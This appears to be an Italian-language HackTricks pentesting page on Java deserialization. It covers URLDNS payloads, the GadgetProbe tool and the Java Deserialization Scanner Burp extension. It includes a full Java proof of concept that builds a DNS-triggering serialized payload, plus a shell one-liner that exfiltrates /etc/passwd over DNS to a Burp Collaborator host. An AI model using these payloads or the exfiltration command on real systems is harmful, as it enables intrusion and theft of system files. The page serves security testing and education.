12 KiB
Java DNS Deserialization, GadgetProbe e Java Deserialization Scanner
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.
Richiesta DNS su deserializzazione
La classe java.net.URL implementa Serializable, ciò significa che questa classe può essere serializzata.
public final class URL implements java.io.Serializable {
Questa classe ha un comportamento curioso. Dalla documentazione: "Due host sono considerati equivalenti se entrambi i nomi host possono essere risolti negli stessi indirizzi IP".
Quindi, ogni volta che un oggetto URL chiama una delle funzioni equals o hashCode, verrà inviata una richiesta DNS per ottenere l'indirizzo IP.
Chiamare la funzione hashCode da un oggetto URL è abbastanza semplice, è sufficiente inserire questo oggetto all'interno di una HashMap che verrà deserializzata. Questo perché alla fine della funzione readObject di HashMap viene eseguito il seguente codice:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Il codice eseguirà putVal con ogni valore all'interno dell'HashMap. Ma, ancora più rilevante è la chiamata a hash con ogni valore. Questo è il codice della funzione hash:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Come puoi osservare, quando si deserializza una HashMap, la funzione hash verrà eseguita con ogni oggetto e durante l'esecuzione di hash verrà eseguito .hashCode() dell'oggetto. Pertanto, se si deserializza una HashMap che contiene un oggetto URL, l'oggetto URL eseguirà .hashCode().
Ora, diamo un'occhiata al codice di URLObject.hashCode() :
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Come puoi vedere, quando un URLObject esegue .hashCode(), viene chiamato hashCode(this). Di seguito puoi vedere il codice di questa funzione:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
È possibile notare che viene eseguito un getHostAddress sul dominio, lanciando una query DNS.
Pertanto, questa classe può essere abusata per lanciare una query DNS al fine di dimostrare che la deserializzazione è possibile, o addirittura per esfiltrare informazioni (è possibile aggiungere come sottodominio l'output di un'esecuzione di comando).
Esempio di codice payload URLDNS
È possibile trovare il codice payload URLDNS di ysoserial qui. Tuttavia, solo per rendere più facile la comprensione di come codificarlo, ho creato il mio PoC (basato su quello di ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Ulteriori informazioni
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- Nell'idea originale il payload delle collezioni comuni è stato modificato per eseguire una query DNS, ma questo metodo è meno affidabile rispetto al metodo proposto, ma questo è il post: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Puoi scaricare GadgetProbe dall'App Store di Burp Suite (Extender).
GadgetProbe cercherà di capire se alcune classi Java esistono nella classe Java del server in modo da poter sapere se è vulnerabile a qualche exploit noto.
Come funziona
GadgetProbe utilizzerà lo stesso payload DNS della sezione precedente, ma prima di eseguire la query DNS, proverà a deserializzare una classe arbitraria. Se l'arbitrary class esiste, la query DNS verrà inviata e GadgetProbe noterà che questa classe esiste. Se la richiesta DNS non viene mai inviata, ciò significa che l'arbitrary class non è stata deserializzata con successo, quindi o non è presente o non è serializzabile/sfruttabile.
All'interno di GitHub, GadgetProbe ha alcune wordlist con classi Java da testare.
Ulteriori informazioni
Java Deserialization Scanner
Questo scanner può essere scaricato dall'App Store di Burp (Extender).
L'estensione ha funzionalità passive e attive.
Passive
Per impostazione predefinita, controlla passivamente tutte le richieste e le risposte inviate cercando i magic bytes serializzati di Java e presenterà un avviso di vulnerabilità se ne viene trovato uno:
Attive
Testing manuale
È possibile selezionare una richiesta, fare clic con il pulsante destro del mouse e Invia richiesta a DS - Testing manuale.
Quindi, all'interno della scheda Deserialization Scanner --> Scheda di testing manuale è possibile selezionare il punto di inserimento. E avviare il testing (Selezionare l'attacco appropriato a seconda della codifica utilizzata).
Anche se questo viene chiamato "Testing manuale", è abbastanza automatizzato. Verificherà automaticamente se la deserializzazione è vulnerabile a qualsiasi payload ysoserial controllando le librerie presenti sul server web e evidenzierà quelle vulnerabili. Per verificare le librerie vulnerabili, è possibile selezionare di lanciare Javas Sleeps, sleeps tramite consumo di CPU, o utilizzando DNS come precedentemente menzionato.
Sfruttamento
Una volta identificata una libreria vulnerabile, è possibile inviare la richiesta alla scheda Exploiting.
In questa scheda è necessario selezionare nuovamente il punto di iniezione, scrivere la libreria vulnerabile per la quale si desidera creare un payload e il comando. Quindi, basta premere il pulsante Attack appropriato.
Informazioni su Java Deserialization DNS Exfil
Fai in modo che il tuo payload esegua qualcosa come quanto segue:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Ulteriori informazioni
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di github.